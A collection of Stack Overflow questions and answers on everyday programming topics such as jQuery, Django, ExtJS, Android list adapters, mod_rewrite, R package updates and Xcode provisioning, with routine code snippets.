16784050	0	Jquery Load not loading <p>I'm trying to do a fairly simple load function with Jquery (at least I think it is), but it simply isn't loading anything. </p> <p>On this page here (<a href="http://new.visibilitysoftware.com/careers/" rel="nofollow">http://new.visibilitysoftware.com/careers/</a>), I am trying to load the div#center-stage from here: <a href="http://www.vspublic.com/VSCareers/Careers.aspx" rel="nofollow">http://www.vspublic.com/VSCareers/Careers.aspx</a>. I have tried it with and without the /careers.aspx. I have also tried it with #center-stage and #center-stage.content as jquery parameters for the function. </p> <p>I'm sure it's something obvious, but I simply can't find it. I appreciate any help. Thanks</p>
16543914	0	 <p>Your question is not clear, create a JsFiddle. For better understanding of Vertical-align <a href="http://css-tricks.com/what-is-vertical-align/" rel="nofollow">http://css-tricks.com/what-is-vertical-align/</a></p>
37672434	0	Global Twig parameter transformation in Symfony 2.7 <p>I have added some config parameters in config.yml like:</p> <pre><code>twig: globals: brands: 'land-rover': 'Land Rover' </code></pre> <p>The problem that I have is that once I use this inside twig, land-rover becomes land_rover.</p> <pre><code>{% for slugKey, name in brands %} &lt;li&gt;&lt;a href="{{ path('getSearchResultsByBrand', {'slug': slugKey, 'edition': edition.edition}) }}"&gt;{{ name }}&lt;/a&gt;&lt;/li&gt; {% endfor %} </code></pre> <p>Why is this transformation happening automatically and how can I prevent it?</p>
11875367	0	 <p>The <a href="http://api.rubyonrails.org/classes/ActionView/Helpers/FormTagHelper.html#method-i-button_tag" rel="nofollow">button_tag</a> helper includes an option, <code>:disable_with</code>. Using this option will disable the button (using unobtrusive JavaScript) when the form is submitted, preventing additional clicks.</p>
20106079	0	 <p>The problem is not in Django settings, but in the <strong>date</strong> passed to the model. Here's how a timezone-aware object looks like:</p> <pre><code>&gt;&gt;&gt; from django.utils import timezone &gt;&gt;&gt; timezone.now() datetime.datetime(2013, 11, 20, 20, 8, 7, 127325, tzinfo=&lt;UTC&gt;) </code></pre> <p>And here's a native object:</p> <pre><code>&gt;&gt;&gt; from datetime import datetime &gt;&gt;&gt; datetime.now() datetime.datetime(2013, 11, 20, 20, 9, 26, 423063) </code></pre> <p>So if you are passing email date anywhere (and it eventually gets to some model), just use Django's <code>now()</code>. If not, then it's probably an issue with an existing package that fetches date without timezone and you can patch the package, ignore the warning or set USE_TZ to False.</p>
22803950	0	 <p>Like this:</p> <pre><code>pattern.replace(/\{(\d+)\}/g, function($0, $1){ return args[$1]; }); </code></pre>
21512675	0	 <p>if a field is final, then you have to initialize it when it's declared or with a constructor:</p> <pre><code> private final int N =10; private PrimeBuggy(int threadNum) { start = N/numThreads * threadNum; this.threadNum = threadNum; } </code></pre> <p>Nevertheless, you have in your code several initialization in a methid:</p> <pre><code> start = N/numThreads * threadNum; N = start + N/numThreads; </code></pre> <p>and this makes no sense at all:</p> <pre><code> //I created a lock private Lock lock(); this.start = start; this.N = N; </code></pre>
9186364	0	How do I display a list of items from a Bean onto a JSF webpage? <p>I'm new to JSF and in the process of learning im building an online book store application. </p> <p>I have 1 class and 1 bean: <code>Book.java</code> and <code>BookCatelogBean.java</code>. The Book class has 3 properties: <code>id</code>, <code>title</code>, and <code>author</code> with it's corresponding getters and setters. The <code>BookCatelogBean</code> contains an <code>ArrayList&lt;Book&gt;</code> where I populate it with <code>Books</code> (in future I will connect it to a database). </p> <p>I have two pages: <code>index.xhtml</code> and <code>book.xhtml</code>. I want to display the list of book titles on <code>index.xhtml</code> each formatted as a REST link and their ID to <code>book.xhtml</code>, like so: <code>&lt;h:link outcome="book?id=#{bookCatelogBean.id}" value="#{bookCatelogBean.title}" /&gt;</code></p> <p>I know how to use <code>BookCatelogBean</code> to display 1 <code>book</code> but I want to display all of them? I have an idea to call a method from <code>BookCatelogBean</code> called <code>getAllBooks()</code> that returns each of the books titles but how would I return each one of them to index.xhtml as a JavaserverFace link instead of a string?</p> <p>Thanks</p> <p>Here is my code:</p> <p><strong>Book.java</strong></p> <pre><code>package bookshop; import java.io.Serializable; public class Book implements Serializable { private int id; private String title; private String author; public Book(int id, String title, String author){ this.title = title; this.id = id; this.author = author; } public String getAuthor() { return author; } public void setAuthor(String author) { this.author = author; } public int getId() { return id; } public void setId(int id) { this.id = id; } public String getTitle() { return title; } public void setTitle(String title) { this.title = title; } } </code></pre> <p><strong>BookCatelogBean.java</strong></p> <pre><code>package bookshop; import java.io.Serializable; import java.util.ArrayList; import java.util.Arrays; import javax.faces.bean.ManagedBean; import javax.faces.bean.SessionScoped; @ManagedBean @SessionScoped public class BookCatelogBean implements Serializable { private int currentItem = 0; private ArrayList&lt;Book&gt; books = new ArrayList&lt;Book&gt;(Arrays.asList( new Book(1, "Theory of Money and Credit", "Ludwig von Mises"), new Book(2, "Man, Economy and State", "Murry Rothbard"), new Book(3, "Real Time Relationships", "Stefan Molyneux"))); public String getTitle(){ return books.get(currentItem).getTitle(); } public int getId(){ return books.get(currentItem).getId(); } public String getAuthor(){ return books.get(currentItem).getAuthor(); } } </code></pre> <p><strong>index.xhtml</strong></p> <pre><code>&lt;?xml version='1.0' encoding='UTF-8' ?&gt; &lt;!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"&gt; &lt;html xmlns="http://www.w3.org/1999/xhtml" xmlns:h="http://java.sun.com/jsf/html"&gt; &lt;h:head&gt; &lt;title&gt;BookShop&lt;/title&gt; &lt;/h:head&gt; &lt;h:body&gt; &lt;h:link outcome="book?id=#{bookCatelogBean.id}" value="#{bookCatelogBean.title}" /&gt; &lt;/h:body&gt; &lt;/html&gt; </code></pre>
945575	0	 <p>Well, it appears to work for me. I used this setting:</p> <pre><code>(setq gnus-parameters '(("regressions.*" (gnus-use-adaptive-scoring nil)) ("general-personal.*" (gnus-use-adaptive-scoring t)))) </code></pre> <p>Perhaps your regexps don't match your group names? The above regexps will match groups that look like <code>mail.</code> and <code>gmane.</code> (the <code>.</code> being a real period).</p> <p>The way I tested it was to enter each of the two groups and did an eval on the variable <code>M-: gnus-use-adaptive-scoring RET</code> - though you could also just do help on the variable <code>C-h v gnus-use-adaptive-scoring RET</code>.</p> <p>Perhaps what you want is not to turn <strong>adaptive</strong>-scoring off, but just to turn scoring off. AFAIK, adaptive-scoring is Gnus trying to <em>figure</em> <em>out</em> scoring for the articles, but not the actual <strong>use</strong> of scoring.</p> <p>So maybe this does what you want?</p> <pre><code>(setq gnus-parameters '(("mail\\..*" (gnus-use-scoring nil)) ("gmane\\..*" (gnus-use-scoring t)))) </code></pre>
18701091	0	 <p>This is weird:</p> <pre><code>avg_rel_track_nan=avg_rel_track_nan(avg_rel_track) </code></pre> <p>You probably meant:</p> <pre><code>avg_rel_track_nan=averaged_rel_track_nan(avg_rel_track) </code></pre> <p>I can't tell for sure what is happening because a lot of your code depends on some other code but you are assigning the result of a (supposedly) function call to the name of this function. I'm guessing that's not what you meant to do.</p>
22479171	0	 <ol> <li><code>conio.h</code> was used in MS-DOS. Are you using MS-DOS? Probably not. Don't include this header.</li> <li>Add a <code>{}</code> or <code>;</code> to the end of each <code>while</code> loop. This is proper syntax. Otherwise, you will get a parser error.</li> <li>While this code will print the four values entered once you fix those issues, it is a convoluted way to teach you about loops. <code>printf</code> will return the number of characters printed. <code>scanf</code> on success, the function returns the number of items of the argument list successfully filled. This count can match the expected number of items or be less (even zero) due to a matching failure, a reading error, or the reach of the end-of-file.</li> <li><code>&amp;a[0][0]+4</code> are memory addresses. Each time you run this program, you will get different memory addresses. </li> <li><code>p=&amp;a[0][0]</code> will start <code>p</code> at the beginning to prepare it to print out the values in the next while loop.</li> </ol> <p>You can read more on <a href="https://stackoverflow.com/questions/13554244/how-to-use-pointer-expressions-to-access-elements-of-a-two-dimensional-array-in">pointer arithmetic of multi-dimensional arrays here</a>.</p>
21306235	0	 <p>I suggest you use expressjs. Using <code>nodejs</code> to create web application is quite low-level. You have to install express via node <code>npm install express</code> and go from there.</p> <p><strong>Some code snipped to help</strong></p> <pre><code>var express = require('express'); var app = express(); app.use(express.bodyParser()); app.set('view engine', 'ejs'); app.register('.html', require('ejs')); app.get('/', function(req, res) { // Handle file reading in here and return object res.render('index.html', {obj: obj}); //where object is the obj is the object holding the arrays }); app.listen(8080, function() { console.log('Server running at http://127.0.0.1:8080/'); }); </code></pre> <p><strong>then in your index.html do .. inside script tags.</strong></p> <pre><code>&lt;script&gt; console.log(&lt;%= cordinates.obj %&gt;); &lt;/script&gt; </code></pre> <p>DISCLAIMER: I haven't tested this but it's just to help you on your way</p>
16822170	0	Convert Excel .xls to .csv, .xml or JSON in Javascript <p>Using <code>Javascript</code>, specifically <code>Google Apps Script</code> (GAS), I need to convert an <code>.xls</code> file to <code>JSON</code>; but I would settle for <code>.csv</code> or <code>.xml</code>.</p> <p>Does anyone know any way to do this? Some library, perhaps? Or a private script willing to share? (Note: GAS can not recognize <code>ActiveXObject</code>)</p> <h3>Prior research (does not apply)</h3> <p><a href="http://stackoverflow.com/questions/662859/converting-csv-xls-to-json">This</a> question does not apply because I am asking for a solution coded in Javascript (or a workaround for Google Apps Script). (The answers to the above question focus on a Java solution and other various .csv to JSON converters.)</p> <p>Yes, I know there is an open <a href="https://code.google.com/p/google-apps-script-issues/issues/detail?id=1019" rel="nofollow">issue</a> for GAS already in the works. But I was wondering if anyone has coded any .js workaround to do the job in the meantime?</p>
37026590	0	 <p>if your text box coming dynamically then you should try </p> <pre><code>$(document).on("keyup", ".typeahead" , function() { getAllActiveUsers(); }); </code></pre> <p>try this and let us know if its works or not.</p>
34817983	0	 <p>It doesn't violate IEEE-754, because IEEE-754 defers to languages on this point:</p> <blockquote> <p>A language standard should also define, and require implementations to provide, attributes that allow and disallow value-changing optimizations, separately or collectively, for a block. These optimizations might include, but are not limited to:</p> <p>...</p> <p>― Synthesis of a fusedMultiplyAdd operation from a multiplication and an addition.</p> </blockquote> <p>In standard C, the <code>STDC FP_CONTRACT</code> pragma provides the means to control this value-changing optimization. So GCC is licensed to perform the fusion by default, so long as it allows you to disable the optimization by setting <code>STDC FP_CONTRACT OFF</code>. Not supporting that means not adhering to the C standard.</p>
40617475	0	 <p>I found this to be a difficult thing to figure out. I already had an HTML editor installed as part of Eclipse, but it wasn't getting loaded.</p> <p>Go to Preferences > General > Editors > File Association and click on *.html (and do the same for *.htm). If you have an HTML editor installed, you should see it in the list. Just click it and then click Default to make Eclipse open HTML files using the HTML editor.</p> <p>If you don't have an HTML editor installed, WTP is fine, per Rahul's suggestion. You may then need to do the above steps to make sure the HTML Editor is chosen when you edit an HTML file.</p>
13313304	0	I want to draw a line and fill it with a repeating image in Objective C <p>I don't need code, just a starting point. I have a drawing app on iPad where you draw a line from point a to point b. Between the 2 points the line is replaced with a repeating image.!</p>
21740108	0	ExtJS debugging "[E] Layout run failed" (in a custom component) <p>I have developed a <a href="https://github.com/rixo/GridPicker">custom kind of combo box</a> that uses a grid instead of the standard combo picker (mainly to benefit from buffered rendering with huge data sets). I am now trying to make it compatible with Ext 4.2.1 but I ran into this error:</p> <pre><code>[E] Layout run failed </code></pre> <p>Please, see the <a href="http://planysphere.fr/ext/GridPicker/examples/index-4.2.1">demo pages</a> for test cases. The error is raised once for each combo, but only the first time it is expanded.</p> <p>This error didn't happen with 4.2.0 (see <a href="http://planysphere.fr/ext/GridPicker/examples/">demo page with 4.2.0</a>). The breaking changes I had identified in 4.2.1 at the time were about the query filter, not rendering or layout... However, I have already been facing this error with 4.2.0 in a situation where the grid picker was sitting in a window, but it was in a code base with lots of overrides and that used the sandboxed version of Ext4... So I just hopped it was not coming from my component and silenced it (<a href="http://planysphere.fr/ext/GridPicker/examples/benchmark/">another demo page</a> proves that grid picker + window is not enough to trigger the error).</p> <p>The error doesn't seem to have any side effects, but it makes me feel bad.</p> <p>Does anyone know what is causing that or, even better, what must be done to prevent it?</p> <p>Or does someone understand Ext's layout engine well enough to give me some pieces of advice on how to track down this kind of error? Or at least give me reassurance that the error will remain harmless in any situation?</p>
17684938	0	 <p>Something like this should give u all the filenames in the folder, for you to manipulate:</p> <pre><code>Dir["Tel/**/**/*.csv].each do |file| * update attribute of your model with the path of the file end </code></pre>
29049704	0	Constructing a JavaScript Array prototype method <p>I am new to constructing a JavaScript Array prototype. Please only paste previous links that are directly appropriate as I have been sourcing on SO and on w3school. <a href="https://developer.mozilla.org/en/docs/Web/JavaScript/Reference/Global_Objects/Array/prototype" rel="nofollow">https://developer.mozilla.org/en/docs/Web/JavaScript/Reference/Global_Objects/Array/prototype</a></p> <p>I would like to create a method for an array that checks if the 'id' field within the object does not already exist in the array. If not, then 'push' object into the array, else do nothing.</p> <p>Each object has a unique 'id' field.</p> <pre><code>eg var array = [{ id: 001, title: 'some title'}, { id: 002, title: 'other title'}] var object = {id: 001, title: 'some title'} // if object.id does not exist in array... array.push(object) //else do nothing </code></pre> <p>I would like the function to take the 'id' field as an argument so this function has wider use.</p> <p>Are there any drawbacks to extending the array.Prototype? Otherwise I can do a for loop instead to do the check without the prototype constructor.</p>
39677844	0	 <p>Its in your gradle file, and gets written to your manifest (if you aren't using gradle).</p>
35980651	0	 <p>for start mod-rewire start from the your domain. then on localhost if you want your mod_rewrite work you should pass it to your project address, <br /> before all above thing, you should check your mode_Rewire be enable<br /> redirect:<br /> <code>http://localhost/ConnectMyProfile/ViewProfile.php?id=CMP26944</code> or <br /> <code>http://localhost/ConnectMyProfile/ViewProfile?id=CMP26944</code><br /> to <br /> <code>http://localhost/ConnectMyProfile/ViewProfile/CMP26944</code></p> <pre><code>RewriteEngine On RewriteBase /ConnectMyProfile/ # external redirect from actual URL to pretty one RewriteCond %{THE_REQUEST} /ViewProfile\.php\?id=([^\s&amp;]+) [NC] RewriteRule ^ ViewProfile/%1? [R=302,L] RewriteCond %{THE_REQUEST} /ViewProfile\?id=([^\s&amp;]+) [NC] RewriteRule ^ ViewProfile/%1? [R=302,L] # internally rewrites /ViewProfile/ABC123 to ViewProfile.php?id=ABC123 RewriteRule ^ViewProfile/([A-Z,0-9]+)$ ViewProfile.php?id=$1 [L,NC,QSA] # PHP hiding rule RewriteCond %{REQUEST_FILENAME} !-d RewriteCond %{REQUEST_FILENAME} !-f RewriteCond %{REQUEST_FILENAME}.php -f RewriteRule ^(.*)$ $1.php [L] </code></pre>
36738478	0	Searching a custom list view in android? <p>I am using a custom list view and I get unexpected results on search.I would ideally like to search on particular columns in the list for example I would like to search on a Invoice number or a contact number or by name of the person. The following is my code.</p> <pre><code> public void showJson(String json) { final Context billsctx = getActivity(); ParseBills pb = new ParseBills(json); pb.parseJSON(); bl = new BillsCustomList((Activity) billsctx, ParseBills.doc_no, ParseBills.date, ParseBills.cust_name, ParseBills.cust_number, ParseBills.item_count, ParseBills.total_wt, ParseBills.total,ParseBills.balance, ParseBills.bill_type); all_listView.setAdapter(bl); inputSearch.addTextChangedListener(new TextWatcher() { @Override public void beforeTextChanged(CharSequence s, int start, int count, int after) { bl.getFilter().filter(s); } @Override public void onTextChanged(CharSequence s, int start, int before, int count) { } @Override public void afterTextChanged(Editable s) { if (s.length()==0) { refreshFragment(); } } }); </code></pre> <p>}</p> <p>This is my adapter code.</p> <pre><code>public class BillsCustomList extends ArrayAdapter&lt;String&gt; { private String[] doc_no; private String[]date; private String[] cust_name; private String[] cust_number; private String[] item_count; private String[]total_wt; private String[]total; private String[]balance; private String[]bill_type; private Activity context; public BillsCustomList(Activity context, String[] doc_no, String[] date, String[] cust_name,String[] cust_number,String[] item_count,String[] total_wt,String[] total,String[] balance,String[] bill_type) { super(context, R.layout.bills_list_view, doc_no); this.context =context; this.doc_no=doc_no; this.date = date; this.cust_name = cust_name; this.cust_number = cust_number; this.item_count= item_count; this.total_wt = total_wt; this.total = total; this.balance = balance; this.bill_type = bill_type; } @Override public View getView(int position, View convertView, ViewGroup parent) { LayoutInflater inflater = context.getLayoutInflater(); View listViewItem = inflater.inflate(R.layout.bills_list_view, null, true); TextView textViewDocno = (TextView) listViewItem.findViewById(R.id.textViewInvNo); TextView textViewDt = (TextView) listViewItem.findViewById(R.id.textViewDt); TextView textViewName = (TextView) listViewItem.findViewById(R.id.textViewName); TextView textViewNumber = (TextView) listViewItem.findViewById(R.id.textViewNumber); TextView textViewCount = (TextView) listViewItem.findViewById(R.id.textViewCount); TextView textViewTotwt = (TextView) listViewItem.findViewById(R.id.textViewTotwt); TextView textViewTot = (TextView) listViewItem.findViewById(R.id.textViewTot); TextView textViewBal = (TextView) listViewItem.findViewById(R.id.textViewBalanace); TextView textViewBt = (TextView) listViewItem.findViewById(R.id.textViewBt); textViewDocno.setText(doc_no[position]); textViewDt.setText(date[position]); textViewName.setText(cust_name[position]); textViewNumber.setText(cust_number[position]); textViewCount.setText(item_count[position]); textViewTotwt.setText(total_wt[position]); textViewTot.setText(total[position]); textViewBal.setText(balance[position]); textViewBt.setText(bill_type[position]); return listViewItem; } } </code></pre> <p>How can I achieve it? Any suggestion or help is appreciated.Thank You.</p>
26598445	0	 <p>Check this:</p> <pre><code>seq 12 | xargs -i echo "256 * 2 ^ ({} - 1)" | bc | xargs -i echo ./a.out {}.txt </code></pre> <p>If it's OK, then drop <code>echo</code> and add <code>&gt;&gt; output.txt</code></p> <pre><code>seq 12 | xargs -i echo "256 * 2 ^ ({} - 1)" | bc | xargs -i ./a.out {}.txt &gt;&gt; output.txt </code></pre>
1202039	0	 <p>Two ways:</p> <pre><code>System.IO.FileInfo fileInfo = new System.IO.FileInfo(filePath); fileInfo.IsReadOnly = true/false; </code></pre> <p>or</p> <pre><code>// Careful! This will clear other file flags e.g. FileAttributes.Hidden File.SetAttributes(filePath, FileAttributes.ReadOnly/FileAttributes.Normal); </code></pre> <p>The IsReadOnly property on FileInfo essentially does the bit-flipping you would have to do manually in the second method.</p>
19394036	1	Django ModelForm - Allowing adds for ForeignKey <p>I'm trying to mimic the functionality from the Django Admin tool where it allows you to add objects for foreign keys (a little plus icon next to a dropdown). For example, let's say I have the following:</p> <pre><code>class Author(models.Model): first_name = models.CharField(max_length=100) last_name = models.CharField(max_length=100) class Blog(models.Model): name = models.CharField(max_length=50) author = models.ForeignKey('Author') </code></pre> <p>When I go to add my first Blog using a ModelForm for Blog, it shows a dropdown next to Author. However, I have no Authors in the system so that dropdown is empty. In the admin tool, I believe it puts a little "+" icon next to the dropdown so you can quickly and efficiently add a record to the dropdown by opening up a popup.</p> <p>That is extremely useful, and so I'd like to mimic it in my own app using ModelForms. Is that also built into Django's ModelForms? If so, how do I use it? I can't seem to find anything in the documentation.</p>
38458655	0	How to make paths clickable in Visual Studio Code Terminal <p>I have VSCode vs. 1.3. and I would like to be able to click in any valid path showed inside the integrated Terminal and get the file opened. </p> <p>Do you know how can I achieve it?</p> <p>Thanks!</p>
3434906	0	 <p>TWebBrowser is a wrapper around IE ActiveX interface. So, in the end,</p> <pre><code> TWebBrowser = Internet Explorer </code></pre>
8226513	0	 <p>The solution to your problem greatly depends on your code. You should definitively include the relevant code bits in your SO questions if you want to get help.</p> <p>I'm going to make a guess and assume that your code looks similar to the MapView example:</p> <p><a href="http://developer.anscamobile.com/reference/index/nativenewmapview" rel="nofollow">http://developer.anscamobile.com/reference/index/nativenewmapview</a></p> <p>If that's the case, the problem is that the location is retrieved very late.</p> <pre><code>local function callMap() -- Fetch the user's current location -- Note: in XCode Simulator, the current location defaults to Apple headquarters in Cupertino, CA local currentLocation = myMap:getUserLocation() local currentLatitude = currentLocation.latitude local currentLongitude = currentLocation.longitude ... </code></pre> <p>What you want is that code executed earlier. Ideally, when the application starts. The user will get the "this application wants access to the GPS" message right away, so they will have more time to "approve" before seeing the mapview.</p> <p>Another thing you can do is using a cache. Store the latest known location somewhere (a config file or the database, depending on your setup). When the connection is lost, or not yet retrieved, show the last known location on the map.</p>
33672202	0	Xcode 7.1 certificate issue and invalid profiles <p>We are two devs working on the same ios project, using same developer id. When one of us runs app on device, xcode offers to fix a certificate issue. After agree, xcode kills all existing certificates and invalidates provisioning profiles. This kills each other provisioning profiles.</p> <p>Steps to Reproduce: 1. Create developer certificate and provisioning profile. 2. Share it with other developer. 3. Create new profile by xcode when it says "there is no profile to run on device" (and gets "Fix issue" button).</p> <p>Expected Results: Previously created provisioning profiles and developer certificates should remain valid.</p> <p>Actual Results: It invalidates existing developer certificates and provisioning profiles.</p> <p>Version: xcode 7.1</p> <p>How we can fix this issue?</p>
25518020	0	 <p>Here is an additional option:</p> <p>The way I solved this problem for my app was to define the colors in values/color.xml. </p> <pre><code>&lt;resources&gt; &lt;color name="blue"&gt;#ff0099cc&lt;/color&gt; &lt;color name="dark_grey"&gt;#ff1d1d1d&lt;/color&gt; &lt;color name="white"&gt;#ffffffff&lt;/color&gt; ... &lt;color name="textview_background"&gt;@color/white&lt;/color&gt; &lt;/resources&gt; </code></pre> <p>In the layout the <code>TextView</code> has:</p> <pre><code>android:background="@color/textview_background" </code></pre> <p>If I want to get the background color in code I can just use:</p> <pre><code>getResources().getColor(R.color.textview_background) </code></pre> <p>This gives me a <code>Color</code> object directly without worrying about getting the color from a <code>Drawable</code>.</p>
12005022	0	 <p>See the equal height function. <a href="http://www.catswhocode.com/blog/8-awesome-jquery-tips-and-tricks" rel="nofollow">http://www.catswhocode.com/blog/8-awesome-jquery-tips-and-tricks</a> Hope this help.</p> <pre><code>function equalHeight(group) { tallest = 0; group.each(function() { thisHeight = $(this).height(); if(thisHeight &gt; tallest) { tallest = thisHeight; } }); group.height(tallest); } $(document).ready(function() { equalHeight($(".recent-article")); equalHeight($(".footer-col")); }); </code></pre>
27144047	0	 <p>Java (at least JavaEE 6) has an <a href="https://docs.oracle.com/javaee/6/tutorial/doc/gjddd.html" rel="nofollow">Expression Language</a> built-in.</p>
32615341	0	Why is R prompting me and failing on `update.packages()`? <p>I'm new to R and I've compiled it myself on Ubuntu 14.04.3 (x64). Note, I am up to date with the R source: </p> <pre><code>blong@work:~/Documents/Work/REPOS__svn/R/R-3-2-branch$ svn info |head -n 7 Path: . Working Copy Root Path: /home/blong/Documents/Work/REPOS__svn/R/R-3-2-branch URL: https://svn.r-project.org/R/branches/R-3-2-branch Relative URL: ^/branches/R-3-2-branch Repository Root: https://svn.r-project.org/R Repository UUID: 00db46b3-68df-0310-9c12-caf00c1e9a41 Revision: 69384 blong@work:~/Documents/Work/REPOS__svn/R/R-3-2-branch$ svn status -u Status against revision: 69392 </code></pre> <p>Running <code>configure</code> and <code>make</code> in R's 3.2.2 branch have completed successfully and I'm able to use a variety of packages within an R session. However, I'd like to check that all of my libraries are up to date. In R 3.2.2 , I'm invoking <code>update.packages()</code>. When the function is invoked, I'm prompted to select a CRAN mirror : </p> <p><a href="https://i.stack.imgur.com/0LKME.png" rel="nofollow noreferrer"><img src="https://i.stack.imgur.com/0LKME.png" alt="CRAN mirror selection dialog"></a></p> <p>Assuming everything is fine and this is a non-issue, I select the main ("<code>O-Cloud [https]</code>") mirror from the dialog. The dialog closes and I'm returned to my R prompt with a duplicate message saying "<code>unsupported URL scheme</code>".</p> <p>Simultaneously, I receive an error in my R session upon invoking <code>update.packages()</code>: </p> <pre><code>&gt; getOption("repos") CRAN "@CRAN@" &gt; update.packages() --- Please select a CRAN mirror for use in this session --- Error in download.file(url, destfile = f, quiet = TRUE) : unsupported URL scheme Warning: unable to access index for repository https://cran.rstudio.com/src/contrib: unsupported URL scheme &gt; </code></pre> <p>Considering that perhaps this is an issue with HTTPS, I try a non-SSL mirror and similarly nothing happens (perhaps there are no updates, but I'd like a message that tells me this). However, this time I don't receive the second "unsupported URL scheme" message after the dialog closes : </p> <pre><code>&gt; update.packages() --- Please select a CRAN mirror for use in this session --- Error in download.file(url, destfile = f, quiet = TRUE) : unsupported URL scheme &gt; </code></pre> <p>It seems that under the hood, R uses a library called RCurl to do some of it's HTTP/S interaction. As far as I can tell, I'm using a supported version of curl / libcurl : </p> <pre><code>blong@work:~$ curl --version curl 7.35.0 (x86_64-pc-linux-gnu) libcurl/7.35.0 OpenSSL/1.0.1f zlib/1.2.8 libidn/1.28 librtmp/2.3 Protocols: dict file ftp ftps gopher http https imap imaps ldap ldaps pop3 pop3s rtmp rtsp smtp smtps telnet tftp Features: AsynchDNS GSS-Negotiate IDN IPv6 Largefile NTLM NTLM_WB SSL libz TLS-SRP </code></pre> <p>Any thoughts on this? It seems similar to this <a href="http://r.789695.n4.nabble.com/update-packages-behavior-td4711966.html" rel="nofollow noreferrer">mailing list discussion</a>, but I'm not sure if this is an issue or I'm doing something wrong.</p>
5386519	0	 <p>There are four kinds of Class relationships</p> <ol> <li>Association: <strong>uses a</strong><br> Ex:a Class Man uses a Class Pen</li> <li>Aggregation: <strong>has a</strong><br> Ex:a Class Man has a Class Car ( Car is still there when Man die )</li> <li>Composition: <strong>owns a</strong><br> Ex:a Class Man owns a Class Heart ( When Man die, Heart die )</li> <li>Inheritance: <strong>is a</strong><br> Ex:a Class Man is a Class Human ( Man is a Human )</li> </ol> <p>A relationship between classes of objects </p> <p><strong>Inheritance>Composition>Aggregation>Association</strong></p>
19587903	0	 <p>In a Terminal window type <code>man ld</code> and you'll get a description of the <code>ld</code> command and the arguments it takes. There you'll find <code>-F</code> specifies a directory to search for frameworks in. The Xcode generated command line contains:</p> <pre><code>-F/Users/thomaswickl/Development/Git\ Projects/quickquick2/QuickQuick2 -F\"/Users/thomaswickl/Development/Git\ Projects/quickquick2/QuickQuick2/..\" -F/Users/thomaswickl/Development/Git\ Projects/quickquick2 </code></pre> <p>The second entry is actually redundant - it is the same as the third (as <code>..</code> means parent) - but it looks like your problem is the way the path is escaped. To allow a space in a path you can either enclose it in quotes or precede the space with a backslash. Paths 1 &amp; 3 use the backslash method, path 2 uses both and so the backslash is presumably treated as a literal character (that is what would happen in Terminal) and therefore the path is incorrect... (cross-eyed yet? ;-))</p> <p>Maybe this double-escaping was introduced when the project was converted to Xcode 5. The paths are listed in your project's settings (sorry Xcode not to hand), hunt it out and remove it (as its a duplicate).</p> <p>HTH.</p>
6967136	1	Is there any good alternative for python's webkit module that works on windows? <p>Is there any official good alternative for webkit that works on windows?</p>
1329817	0	 <p>.NET certainly allows you to use Visual Basic to write a Windows Service. I believe there is even a default project template to do so. Here is an tutorial as such: <a href="http://www.vbdotnetheaven.com/UploadFile/mahesh/Winservvb11172005233242PM/Winservvb.aspx" rel="nofollow noreferrer">http://www.vbdotnetheaven.com/UploadFile/mahesh/Winservvb11172005233242PM/Winservvb.aspx</a></p> <p>All .NET code is converted to an intermediary language that is executed, thus all .NET languages can be used to write a windows service.</p>
8887896	0	Why does my KISS FFT plot show duplicate peaks mirrored on the y-axis? <p>I'm a beginner with FFT concepts and so what I understand is that if I put in 1024 signals, I'll get 513 bins back ranging from 0hz to 22050Hz (in the case of a 44100Hz sampling rate). Using KISS FFT in Cinder the getBinSize function returns the expected 513 values for an input of 1024 signals. What I don't understand is why duplicate peaks show up. Running a test audio sample that goes through frequencies (in order) of 20Hz to 22000Hz I see two peaks the entire time. It looks something like:</p> <p><em><strong></em>__<em>_</em>__</strong>|<em><strong></em>__<em>_</em>__<em>_</em>__</strong>|<em><strong></em>__<em>_</em>__</strong></p> <p>As the audio plays, the peaks seem to move towards each other so the second peak really does seem to be a mirrored duplicate of the first. Every example I've been through seems to just go ahead and plot all 513 values and they don't seem to have this mirroring issue. I'm not sure what I'm missing.</p>
29892858	0	How to deep link an app from the Facebook App builtin browser? <p>I have a link that when clicked loads a dynamic webpage (which performs some operations on the server), and then redirect the user to an installed app. So far, opening the link in the following apps/browsers works fine:</p> <ul> <li>Android's default browser;</li> <li>Chrome - several versions</li> <li>Twitter app</li> </ul> <p>Something similar is also being done on iOS, and works fine.</p> <p>The following <strong>does not work</strong>, no matter what I try:</p> <ul> <li>Sharing the link on Facebook, and opening it from the Facebook App with Facebook's builtin browser on Android (on iOS this works fine). I get an error saying "Page can't be loaded".</li> </ul> <p><strong>What has been done/tried:</strong></p> <p>The app has the needed content filters and intent setup correctly, and the filters were set to handle both a custom protocol scheme ("example://") and HTTP ("http", "example.com") - one at a time and both at the same time.</p> <p>Using <a href="http://applinks.org/" rel="nofollow">App Links</a> tags or Open Graph tags (as suggested by some FB literature) did not solve the problem.</p> <p>Redirecting the user with an HTTP redirect, javascript or meta refresh tag does not work.</p> <p>Using an HTML link and taping it does not work.</p> <p>All of those methods work <em>everywhere</em> except when using the Android Facebook App's builtin browser.</p> <p>(this was tested with several Android versions, 2.3, 4.4 and 5.0)</p> <p>Is there any special syntax for this kind of links to work?</p> <p>Thanks, Jean</p>
18294547	0	 <p>You should probably first check if it is not a case issue: STATS vs Stats ...?</p>
12800513	0	 <p>You could do the fallowing...</p> <pre><code>var GroupSelectView = Backbone.View.extend({ el: $("select"), initialize: function() { var that = this; this.collection = new UserGroups(); this.collection.on( 'change', this.render, this ); // You could try this too, 1 is for 1 item is added, the other, when all items are changed // this.postCollection.on('add', this.addOne, this); // this.postCollection.on('reset', this.addAll, this); this.render(); }, render: function(){ _.each(this.collection.models, function(group){ $("&lt;option/&gt;", { value: group.get("Id"), text: group.get("Name")} ).appendTo(this.el) }, this); }, }); </code></pre>
